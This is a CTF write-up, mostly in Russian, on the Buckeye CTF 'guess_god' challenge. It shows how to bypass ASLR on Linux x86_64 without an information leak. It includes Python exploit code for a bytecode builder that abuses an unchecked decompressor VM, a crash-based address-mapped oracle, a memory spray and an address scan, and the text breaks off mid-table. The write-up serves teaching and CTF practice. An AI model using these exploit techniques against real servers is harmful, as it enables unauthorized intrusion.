
Обход ASLR без утечки информации
В этой статье я расскажу о применении техники, описанной Samuel Groß в его Remote iPhone Exploitation Part 2: Bringing Light into the Darkness -- a Remote ASLR Bypass, для обхода ASLR на Linux x86_64.
Чтобы это продемонстрировать, я решу pwnable-задание с Buckeye CTF — guess_god.
Я постараюсь сделать материал максимально доступным для новичков, так что не стесняйтесь пропускать любые разделы, если чувствуете себя достаточно уверенно и хотите сразу перейти к эксплойту.

Я не участвовал в CTF, но заинтересовался этим заданием примерно за 2 часа до конца соревнования благодаря Guray00, который просил помощи в дискорде fibonhack по поводу каких-то криптографических шалостей.
Я не смог ему помочь, но зато посмотрел на pwnable-задания и решил, что будет полезно разобраться в блогпосте от P0 и, возможно, получить тот самый баунти.
Address Space Layout Randomization (ASLR) — это техника компьютерной безопасности, которая заключается в случайном размещении базового адреса исполняемого файла, а также позиций библиотек, кучи и стека в адресном пространстве процесса.
В Linux вы можете просмотреть маппинги процесса, зная его pid, через procfs, прочитав файл /proc/<pid>/maps.
Если вы — процесс и хотите узнать собственные маппинги памяти, вы можете прочитать /proc/self/maps.
Например, можно попробовать прочитать /proc/self/maps с помощью cat:```
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps
55faeb01c000-55faeb01e000 r--p 00000000 fe:01 2497233 /usr/bin/cat
55faeb01e000-55faeb023000 r-xp 00002000 fe:01 2497233 /usr/bin/cat
55faeb023000-55faeb026000 r--p 00007000 fe:01 2497233 /usr/bin/cat
55faeb026000-55faeb027000 r--p 00009000 fe:01 2497233 /usr/bin/cat
55faeb027000-55faeb028000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat
55faeb115000-55faeb136000 rw-p 00000000 00:00 0 [heap]
7fe15dfb1000-7fe15dfd5000 rw-p 00000000 00:00 0
7fe15dfd5000-7fe15dffb000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15dffb000-7fe15e166000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e166000-7fe15e1b2000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b2000-7fe15e1b5000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b5000-7fe15e1b8000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b8000-7fe15e1c3000 rw-p 00000000 00:00 0
7fe15e1c7000-7fe15e1c8000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1c8000-7fe15e1ef000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1ef000-7fe15e1f9000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1f9000-7fe15e1fb000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1fb000-7fe15e1fd000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fff4388f000-7fff438b0000 rw-p 00000000 00:00 0 [stack]
7fff43989000-7fff4398d000 r--p 00000000 00:00 0 [vvar]
7fff4398d000-7fff4398f000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55ffc0b1b000-55ffc0b1d000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55ffc0b1d000-55ffc0b22000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55ffc0b22000-55ffc0b25000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55ffc0b25000-55ffc0b26000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55ffc0b26000-55ffc0b27000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55ffc2108000-55ffc2129000 rw-p 00000000 00:00 0 [heap] 7f1ec6e0f000-7f1ec6e33000 rw-p 00000000 00:00 0 7f1ec6e33000-7f1ec6e59000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6e59000-7f1ec6fc4000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6fc4000-7f1ec7010000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7010000-7f1ec7013000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7013000-7f1ec7016000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7016000-7f1ec7021000 rw-p 00000000 00:00 0 7f1ec7025000-7f1ec7026000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7026000-7f1ec704d000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec704d000-7f1ec7057000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7057000-7f1ec7059000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7059000-7f1ec705b000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7ffc72fa4000-7ffc72fc5000 rw-p 00000000 00:00 0 [stack] 7ffc72fe7000-7ffc72feb000 r--p 00000000 00:00 0 [vvar] 7ffc72feb000-7ffc72fed000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
### Шаблоны раскладки памяти
Если сделать это несколько раз, можно сделать вывод:
* Базовый адрес PIE бинарника должен находиться в диапазоне 0x00005500_00000000-0x00005700_00000000, то есть 2 ТБ возможных адресов.
* Куча находится рядом с бинарником.
* Библиотеки попадают в диапазон 0x00007f00_00000000 - 0x00007fff_ffffffff, 1 ТБ возможных адресов.
* Стек находится (в большинстве случаев) в диапазоне 0x00007ffc_00000000 - 0x00007fff_ffffffff, 16 ГБ возможных адресов.
* Диапазон 0xffffffffff600000 - 0xffffffffff601000 всегда отображён, вы можете прочитать [эту статью](http://terenceli.github.io/%E6%8A%80%E6%9C%AF/2019/02/13/vsyscall-and-vdso), если вам интересно, что это.
## 1.3 Как обойти ASLR без информационной утечки
Давайте обсудим, что можно сделать для обхода ASLR, когда информационная утечка невозможна.
Это моя попытка обобщить то, что я вынес из поста в блоге Saelo.
Для обхода ASLR вам нужно:
* Техника распыления памяти, позволяющая отобразить непрерывную память заданного размера в заданном диапазоне адресов.
Как он говорит, есть два способа сделать это:
1. Используя утечку памяти (не информационную утечку!) — баг, при котором фрагмент памяти «забывается» и никогда не освобождается; нужно запускать его несколько раз, пока не утечёт нужный объём памяти.
2. Найдя и используя «усиливающий гаджет» (amplification gadget): фрагмент кода, который берёт существующий блок данных и копирует его, возможно несколько раз, что позволяет атакующему распылить большой объём памяти, отправив лишь относительно небольшое количество байт.
* Оракул `isAddressMapped`, который по данному адресу сообщает, отображается ли этот адрес.
### PoC обхода ASLR в Linux
Давайте попробуем воспроизвести PoC от saelo, чтобы полностью сломать ASLR в Linux.
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/93fcc6aff8ffd2e8395f34b35bc2f5d244e74a53b2fac39c3dae35c802227339.png" > <i> PoC от saelo</i> <p/> <br/>
В Linux это не так просто: полностью сломать ASLR можно, только если вы способны выделить 16 ТБ памяти.```C
#include <stdio.h>
#include <stdlib.h>
int main()
{
// 64gb
size_t size = 0x1000000000;
// 16TB allocations
for (int i = 0; i < 256; i++) {
void *mem = malloc(size); // this ends up calling mmap
if (!mem) {
puts("Failed");
return 1;
}
printf("%p\n", mem);
}
unsigned int *mem = (void*)0x7f0000000000ULL;
*mem = 0x41414141;
printf("R/W to %p: %x\n", mem, *mem);
return 0;
}
Из примечаний man malloc:
Таким образом, void *mem = malloc(size) в итоге вызовет mmap(size + malloc_metadata_size, ...)
Поскольку библиотеки отображаются в процесс через mmap с помощью ld, эти выделения окажутся рядом с библиотеками.
Если посмотреть на адреса, возвращаемые malloc, можно лучше понять, что происходит. Про-совет: смотрите на старшие байты.
| адрес | пересечение границы 16 ТБ? |
|---|---|
| 0x7fb03b55e010 | Нет |
| 0x7fa03b55d010 | Нет |
| 0x7f903b55c010 | Нет |
| 0x7f803b55b010 | Нет |
| 0x7f703b55a010 | Нет |
| 0x7f603b559010 | Нет |
| 0x7f503b558010 | Нет |
| 0x7f403b557010 | Нет |
| 0x7f303b556010 | Нет |
| 0x7f203b555010 | Нет |
| 0x7f103b554010 | Нет |
| 0x7f003b553010 | Нет |
| 0x7ef03b552010 | Да |
| 0x7ee03b551010 | Да |
| 0x7ed03b550010 | Да |
| 0x7ec03b54f010 | Да |
PoC-эксплойт использует тот факт, что в определённый момент старший байт возвращаемого адреса меняется с 7F на 7E, и, поскольку выделяемые области памяти идут подряд, внутри этого диапазона обязательно что-то есть. (Да, мы применяем теорему Больцано — Вейерштрасса, чтобы решить эту задачу!)
К счастью, благодаря автору, в zip-архиве содержатся бинарники, исходный код и dockerfile, позволяющие воспроизвести ту же среду, что и на удалённом сервере.

Всегда полезно получить некоторое представление об окружении; давайте просмотрим файлы и сделаем несколько заметок.
Собирается и устанавливается oatpp 1.2.5, возможно, в этой конкретной версии есть полезные баги?
# Install oatpp
RUN git clone https://github.com/oatpp/oatpp.git
RUN cd /oatpp && git checkout 1.2.5 && mkdir build && cd build && cmake .. && make install
Задача собирается с нуля
WORKDIR /home/ctf/challenge/src/
RUN mkdir -p src/build && cd src/build && cmake .. && make
RUN cp src/build/flag_server-exe src/build/libkylezip.so flag.txt / home/ ctf/challenge/
Это может быть проблемой, поэтому вместо этого скопируем предоставленные бинарники.
COPY bins/flag_server-exe /home/ctf/challenge/
COPY bins/libkylezip.so /home/ctf/challenge/

Файл docker-compose.yml предоставлен, так что совсем несложно получить рабочее локальное окружение для исследования. Для тех, кто не уверенно работает с docker, вот список команд, которые нужно знать, чтобы исследовать задачу локально.```bash docker-compose build # Build the image, do this whenever you change something docker-compose up # start the container docker-compose down # stop the container
docker ps # list containers docker exec -it # exec COMMAND into the container
После выполнения `docker-compose build` вы можете запустить `docker-compose up` для старта контейнера и подключиться к заданию с помощью `nc 127.0.0.1 9000`
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2f6e0f8adeb34fa1c0360ac4f106a7e555e60d9526c2c2b68d18a88a2ebc2f5.png" ><br/> <i></i><p/>
# 3. Анализ исходного кода
Теперь, когда у нас есть базовое понимание того, что нужно сделать для обхода ASLR, давайте посмотрим на исходный код, помня о том, что нам нужны:
* способ распылять память в известных диапазонах памяти
* оракул isAddrMapped
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/9de53f68dfebca28be7f8106ec19adda12ee2ce47e6dbb8734519e466c0cbdd8.png" width="50%"><br/> <i> Папка с исходным кодом </i><p/>
Это в основном связующий код для запуска веб-сервера oatpp; на самом деле важные файлы, которые мы будем анализировать:
* src/controller/MyController.*
* kylezip/decompress.*
## 3.1 MyController.*
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2a20d6b93582d4cc5e61eb373eb50ddcc8ac1576082ba5adc017d05d11138e4.png"><br/> <i>MyController.hpp</i><p/>
Здесь 3 эндпоинта:
* `/`
* `GET /files/{fileId}` -> Скачать ранее загруженный файл; если extract истинно, распаковать его перед скачиванием.
* `POST /upload/{fileId}` -> Загрузить файл с указанным {fileId}.
И одна функция, реализованная в `MyController.cpp````C
std::shared_ptr<oatpp::base::StrBuffer> MyController::get_file(int file_id, bool extract)
который:
Установите to_open в {file_id} или {file_id}.unkyle ```C
std::ostringstream comp_fname;
comp_fname << filename;
if (extract) {
// Want the un-kylezip-d version
comp_fname << ".unkyle";
}
auto to_open = comp_fname.str();
Если это первый раз, когда мы запрашиваем извлечение {file_id}, то для него вызывается decompress,
который запишет распакованный файл {file_id} в {file_id}.unkyle. ```C
int fd = open(to_open.c_str(), O_RDONLY);
if (fd == -1) {
if (!extract) return NULL;
/* Need to create decompressed version of file
* Kyle gave me a buggy library so we are going to fork
* in case we crash the web server will still stay up.
*/
pid_t p = fork();
if (p == 0) {
decompress(filename);
exit(0);
} else {
waitpid(p, NULL, 0);
}
fd = open(to_open.c_str(), O_RDONLY);
if (fd == -1) {
return NULL;
}
}
В конце отобразите результат в памяти с помощью mmap. ```C
struct stat sb;
if (fstat(fd, &sb) != 0) { return NULL; }
/* mmap the file in for performance, or something... idk kyle made me write this */ // void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
fork() создаёт новый процесс путём дублирования вызывающего процесса; на момент вызова fork() обе области памяти имеют одинаковое содержимое.
Итак, если мы сможем превратить decompress() в оракул, который:
Мы могли бы использовать этот примитив, чтобы сделать вывод об адресном пространстве родителя.
В родительском процессе есть вызов mmap: ```C
void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
если мы можем контролировать sb.st_size, который является размером распакованного файла, мы можем легко превратить его в примитив распыления памяти.
int decompress(const char *fname)
* Сопоставляет входной файл с адресом `0x42069000000`.
* Сопоставляет выходной файл с адресом `0x13371337000`.
* Вызывает do_decompress(), которая выполняет распаковку.
Ожидается, что файл имеет следующий формат:
| смещение | имя | тип | описание |
| - | - | - | - |
| +0h | magic | uint64 | магическое значение, ожидается 0x0123456789abcdef |
| +8h | filesize | uint64 | размер распакованного файла |
### do_decompress()```C
static void do_decompress(char *out, char *in, size_t insize)
Вы можете рассматривать эту функцию как простую виртуальную машину, которая выполняет байт-код, на который указывает in, и записывает результат в буфер, на который указывает out.
in указывает на наш {file_id}.
out указывает на {file_id.unkyle}.
Эта ВМ имеет 4 опкода:
0 -> NOP
1 -> STORE(u8 b)
записывает b в out, увеличивает out на 1.
Реализация опкода: ```C case 1: { // Write byte uint8_t b = in[cur++]; *(out++) = b; break; }
2 -> SEEK(u64 off)
устанавливает out в out + off.
out и off являются 64-битными значениями, поэтому out = out+off эквивалентно out = (out+off) % MAX_64BIT_VALUE; это называется целочисленным переполнением, и мы можем использовать это поведение, чтобы достичь любого 64-битного значения. Пример: ```py
M64 = (1<<64) # Maximum 64bit value
def get_off(out: int, target: int):
return (target-out) % M64
print ('{:#x}'.format(get_off(0xffffffff, 0)))
M64 = (1<<64)-1 # Maximum 64bit value def get_off(out: int, target: int): return (target-out) & M64
print ('{:#x}'.format(get_off(0xffffffff, 0)))
Реализация опкода: ```C case 2: { // Seek uint64_t off = (uint64_t)(&in[cur]); cur += sizeof(off); out += off; break; }
* 3 -> LOAD(off, size).
Скопируйте `size` байт из `out - off` в `out`, затем увеличьте `out` на 8.
Реализация опкода: ```C
case 3: {
// Copy some previously written bytes
uint64_t off = *(uint64_t*)(&in[cur]);
cur += sizeof(off);
uint64_t count = *(uint64_t*)(&in[cur]);
cur += sizeof(off);
memcpy(out, out-off, count);
out += count;
break;
}
Ни в одной из операций нет проверки границ, что даёт нам 2 полезных примитива:
SEEK+LOADSEEK+STOREЯ использовал этот код для сборки байткода:```py IN_ADDR = 0x42069000000 # PROT R OUT_ADDR = 0x13371337000 # PROT RW M64 = (1<<64)-1
class CompressedFile(): slots = ['cur', 'content', 'out']
def __init__(self, filesize):
self.cur = 16
self.content = b''
self.content += p64(0x0123456789abcdef) # magic
self.content += p64(filesize) # file size
self.out = OUT_ADDR
def nop(self):
self.content += b'\x00'
self.cur += 1
def write(self, b: bytes):
assert len(b) == 1
self.content += b'\x01' + b
self.cur += 2
self.out += 1
def seek(self, off):
self.content += b'\x02'
self.content += p64(off)
self.cur += 9
def memcpy(self, off, count):
# memcpy(out, out-off, count);
self.content += b'\x03'
self.content += p64(off)
self.content += p64(count)
self.cur += 17
# 4. Взаимодействие с бинарным файлом
Прежде чем перейти к этапу эксплуатации, всегда полезно создать что-то, что позволит вам легко взаимодействовать с бинарным файлом, чтобы не тратить время впустую.```py
import requests
def uploadFile(blob: bytes, fileid: int):
assert (fileid < (1<<31) - 1)
multipart_form_data = {
'file': (f'payload_{fileid}', blob),
}
res = requests.post(
f"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}",
files=multipart_form_data
)
return res
def getFile(fileid: int, extract="true"):
res = requests.get(f"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}")
return res
Когда я пытался решить задание, это было очень важно — я очень долго смотрел на отображения памяти.
Для этого можно запустить локальный экземпляр задания и читать maps процесса после выполнения некоторых операций.

У нас есть примитив чтения «что-где», так что построить оракул isAddressMapped совсем несложно.
Мой способ заключался в таком байткоде:
memcpy(out, targetAddress, 1)write(b'A')Если targetAddress не отображён, дочерняя программа падает с segfault на memcpy, и мы получаем распакованный файл, заполненный нулевыми байтами.
Если targetAddress отображён, второй байт распакованного файла равен b'\x41'.```py def isAddrMapped(addr, fileid, filelen=2): toup = CompressedFile(filelen)
# addr = OUT_ADDR - off
off = (OUT_ADDR - addr) & M64
# memcpy(toup.out, addr, 1)
toup.memcpy(off, 1)
# *(toup.out+1) = 0x41
toup.write(b'\x41')
uploadFile(toup.content, fileid)
res = getFile(fileid)
isMapped = res.content[1] == 0x41
return isMapped
## 4.3 Примитив распыления памяти
Мы можем полностью контролировать размер распакованного файла и получаем mmap этого размера в [MyController.cpp:62](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/dist-guess-god/src/src/controller/MyController.cpp#L62).
В своём эксплойте я использовал функцию `isAddrMapped` и изменял `filelen`.
Например, попробуем выделить непрерывный фрагмент размером = 0x4000000 = 64 МБ.```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
Вот результат:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/47/maps ... 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle ...
Если вы попробуете сделать это снова:```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
isAddrMapped(IN_ADDR, 0, 0x4000000)
Вот результат:``` 7f344c000000-7f3450000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle
Отлично! Множественные выделения не будут иметь промежутков.
## 4.4 Сколько памяти распылять?
Как видно из [этого PoC](#poc-of-aslr-bypass-on-linux), идеальный размер для непрерывно отображаемой памяти составил бы 16 ТБ.
К сожалению, если попытаться выделить 16 ТБ памяти на удалённом сервере, вызов mmap завершится неудачей, потому что [nsjail ограничивает это](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64#21-initial-foothold).
После некоторых проб и ошибок я выяснил, что могу распылять примерно 3840 МБ памяти с помощью этого кода:```py
size = 0x000004000000
for i in range(0, 60):
print ('.', end='')
isAddrMapped(IN_ADDR, i, size)
в результате отображения памяти будут выглядеть примерно так:
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/pgrep flag_server-exe/maps
... My spray: ...
7fe2dc000000-7fe2e0000000 r--p 00000000 00:af 121 /challenge/files/59.unkyle
7fe2e0000000-7fe2e4000000 r--p 00000000 00:af 119 /challenge/files/58.unkyle
7fe2e4000000-7fe2e8000000 r--p 00000000 00:af 117 /challenge/files/57.unkyle
7fe2e8000000-7fe2ec000000 r--p 00000000 00:af 115 /challenge/files/56.unkyle
7fe2ec000000-7fe2f0000000 r--p 00000000 00:af 113 /challenge/files/55.unkyle
7fe2f0000000-7fe2f4000000 r--p 00000000 00:af 111 /challenge/files/54.unkyle
7fe2f4000000-7fe2f8000000 r--p 00000000 00:af 109 /challenge/files/53.unkyle
7fe2f8000000-7fe2fc000000 r--p 00000000 00:af 107 /challenge/files/52.unkyle
7fe2fc000000-7fe300000000 r--p 00000000 00:af 105 /challenge/files/51.unkyle
7fe300000000-7fe304000000 r--p 00000000 00:af 103 /challenge/files/50.unkyle
7fe304000000-7fe308000000 r--p 00000000 00:af 101 /challenge/files/49.unkyle
7fe308000000-7fe30c000000 r--p 00000000 00:af 99 /challenge/files/48.unkyle
7fe30c000000-7fe310000000 r--p 00000000 00:af 97 /challenge/files/47.unkyle
7fe310000000-7fe314000000 r--p 00000000 00:af 95 /challenge/files/46.unkyle
7fe314000000-7fe318000000 r--p 00000000 00:af 93 /challenge/files/45.unkyle
7fe318000000-7fe31c000000 r--p 00000000 00:af 91 /challenge/files/44.unkyle
7fe31c000000-7fe320000000 r--p 00000000 00:af 89 /challenge/files/43.unkyle
7fe320000000-7fe324000000 r--p 00000000 00:af 87 /challenge/files/42.unkyle
7fe324000000-7fe328000000 r--p 00000000 00:af 85 /challenge/files/41.unkyle
7fe328000000-7fe32c000000 r--p 00000000 00:af 83 /challenge/files/40.unkyle
7fe32c000000-7fe330000000 r--p 00000000 00:af 81 /challenge/files/39.unkyle
7fe330000000-7fe334000000 r--p 00000000 00:af 79 /challenge/files/38.unkyle
7fe334000000-7fe338000000 r--p 00000000 00:af 77 /challenge/files/37.unkyle
7fe338000000-7fe33c000000 r--p 00000000 00:af 75 /challenge/files/36.unkyle
7fe33c000000-7fe340000000 r--p 00000000 00:af 73 /challenge/files/35.unkyle
7fe340000000-7fe344000000 r--p 00000000 00:af 71 /challenge/files/34.unkyle
7fe344000000-7fe348000000 r--p 00000000 00:af 69 /challenge/files/33.unkyle
7fe348000000-7fe34c000000 r--p 00000000 00:af 67 /challenge/files/32.unkyle
7fe34c000000-7fe350000000 r--p 00000000 00:af 65 /challenge/files/31.unkyle
7fe350000000-7fe354000000 r--p 00000000 00:af 63 /challenge/files/30.unkyle
7fe354000000-7fe358000000 r--p 00000000 00:af 61 /challenge/files/29.unkyle
7fe358000000-7fe35c000000 r--p 00000000 00:af 59 /challenge/files/28.unkyle
7fe35c000000-7fe360000000 r--p 00000000 00:af 57 /challenge/files/27.unkyle
7fe360000000-7fe364000000 r--p 00000000 00:af 55 /challenge/files/26.unkyle
7fe364000000-7fe368000000 r--p 00000000 00:af 53 /challenge/files/25.unkyle
7fe368000000-7fe36c000000 r--p 00000000 00:af 51 /challenge/files/24.unkyle
7fe36c000000-7fe370000000 r--p 00000000 00:af 49 /challenge/files/23.unkyle
7fe370000000-7fe374000000 r--p 00000000 00:af 47 /challenge/files/22.unkyle
7fe374000000-7fe378000000 r--p 00000000 00:af 45 /challenge/files/21.unkyle
7fe378000000-7fe37c000000 r--p 00000000 00:af 43 /challenge/files/20.unkyle
7fe37c000000-7fe380000000 r--p 00000000 00:af 41 /challenge/files/19.unkyle
7fe380000000-7fe384000000 r--p 00000000 00:af 39 /challenge/files/18.unkyle
7fe384000000-7fe388000000 r--p 00000000 00:af 37 /challenge/files/17.unkyle
7fe388000000-7fe38c000000 r--p 00000000 00:af 35 /challenge/files/16.unkyle
7fe38c000000-7fe390000000 r--p 00000000 00:af 33 /challenge/files/15.unkyle
7fe390000000-7fe394000000 r--p 00000000 00:af 31 /challenge/files/14.unkyle
7fe394000000-7fe398000000 r--p 00000000 00:af 29 /challenge/files/13.unkyle
7fe398000000-7fe39c000000 r--p 00000000 00:af 27 /challenge/files/12.unkyle
7fe39c000000-7fe3a0000000 r--p 00000000 00:af 25 /challenge/files/11.unkyle
7fe3a0000000-7fe3a0021000 rw-p 00000000 00:00 0
7fe3a0021000-7fe3a4000000 ---p 00000000 00:00 0
7fe3a4000000-7fe3a8000000 r--p 00000000 00:af 23 /challenge/files/10.unkyle
7fe3a8000000-7fe3ac000000 r--p 00000000 00:af 21 /challenge/files/9.unkyle
7fe3ac000000-7fe3b0000000 r--p 00000000 00:af 19 /challenge/files/8.unkyle
7fe3b0000000-7fe3b4000000 r--p 00000000 00:af 17 /challenge/files/7.unkyle
7fe3b4000000-7fe3b8000000 r--p 00000000 00:af 15 /challenge/files/6.unkyle
7fe3b8000000-7fe3bc000000 r--p 00000000 00:af 13 /challenge/files/5.unkyle
7fe3bc000000-7fe3c0000000 r--p 00000000 00:af 11 /challenge/files/4.unkyle
7fe3c0000000-7fe3c4000000 r--p 00000000 00:af 9 /challenge/files/3.unkyle
7fe3c4000000-7fe3c8000000 r--p 00000000 00:af 7 /challenge/files/2.unkyle
7fe3c8000000-7fe3cc000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle
7fe3cc000000-7fe3d0000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle
7fe3d0000000-7fe3d01a8000 rw-p 00000000 00:00 0
7fe3d01a8000-7fe3d4000000 ---p 00000000 00:00 0
... Libraries: ...
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0 7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
...
Давайте сосредоточим внимание на адресах, созданных при распылении памяти. \(*.unkyle files \)
Мы можем попробовать применить [трюк с пересечением границы](#Boundary-cross-trick).
| адрес | пересечение границы 4 ГБ?
| - |-
| 7fe2dc000000 | Нет
| 7fe2e0000000 | Нет
| 7fe2e4000000 | Нет
| 7fe2e8000000 | Нет
| 7fe2ec000000 | Нет
| 7fe2f0000000 | Нет
| 7fe2f4000000 | Нет
| 7fe2f8000000 | Нет
| 7fe2fc000000 | Нет
| 7fe300000000 | Да
| 7fe304000000 | Да
| 7fe308000000 | Да
Используя переход от 7fe2.. к 7fe3.., мы можем сканировать память с шагом 0x100000000 = 4 ГБ.
## 4.5 Наконец-то обходим ASLR
Учитывая такой размер шага, мы можем сканировать от `start=0x7f0000000000` до `end=0x800000000000` всего за `end - start / size` = 256 запросов.```py
start = 0x7f0000000000
end = 0x800000000000
step = 0x100000000 # 4gb
isMapped = False
j = 0xff
while isMapped == False:
leakAddr = start + j*step
isMapped = (isAddrMapped(leakAddr, 1000 + j))
j -= 1
At this point, we have leakAddr which is a mapped address like this: 0x7fXX00000000, in this case, leakAddr = 0x7fe300000000.
Now, if we want to follow the saelo technique, we should do a binary search of the range 0x7fXX00000000 - 0x7fXXffffffff, in order to find lower and upper bounds, the problem is that there are some holes in that range, so the binary search fails a lot of times.
You can check yourself with this script:``` RANGE SIZE
0x00007f7544000000 - 0x00007f763c000000 0xf8000000 SMALL GAP 0x00caa000 0x00007f763ccaa000 - 0x00007f763e358000 0x016ae000
That small gap between 0x00007f763c000000 and 0x00007f763ccaa000 screws up the binary search, of course it is still doable, but i found an easier way.
### Observation
We want to get the last mapped address, because that's where libraries are mapped.
For example, given those mappings for the libraries:```
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0
7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
Мы можем найти адрес 7fe3d6a5b000 - 0x1000 с помощью этого трюка:
| адрес | isAddressMapped? |
|---|---|
| 0x7fe3f0000000 | Нет |
| 0x7fe3e0000000 | Нет |
| 0x7fe3d0000000 | Да |
| 0x7fe3df000000 | Нет |
| 0x7fe3de000000 | Нет |
| 0x7fe3dd000000 | Нет |
| 0x7fe3dc000000 | Нет |
| 0x7fe3db000000 | Нет |
| 0x7fe3da000000 | Нет |
| 0x7fe3d9000000 | Нет |
| 0x7fe3d8000000 | Нет |
| 0x7fe3d7000000 | Нет |
| 0x7fe3d6000000 | Да |
| 0x7fe3d6f00000 | Нет |
| 0x7fe3d6e00000 | Нет |
| 0x7fe3d6d00000 | Нет |
| 0x7fe3d6c00000 | Нет |
| 0x7fe3d6b00000 | Нет |
| 0x7fe3d6a00000 | Да |
| 0x7fe3d6af0000 | Нет |
| 0x7fe3d6ae0000 | Нет |
| 0x7fe3d6ad0000 | Нет |
| 0x7fe3d6ac0000 | Нет |
| 0x7fe3d6ab0000 | Нет |
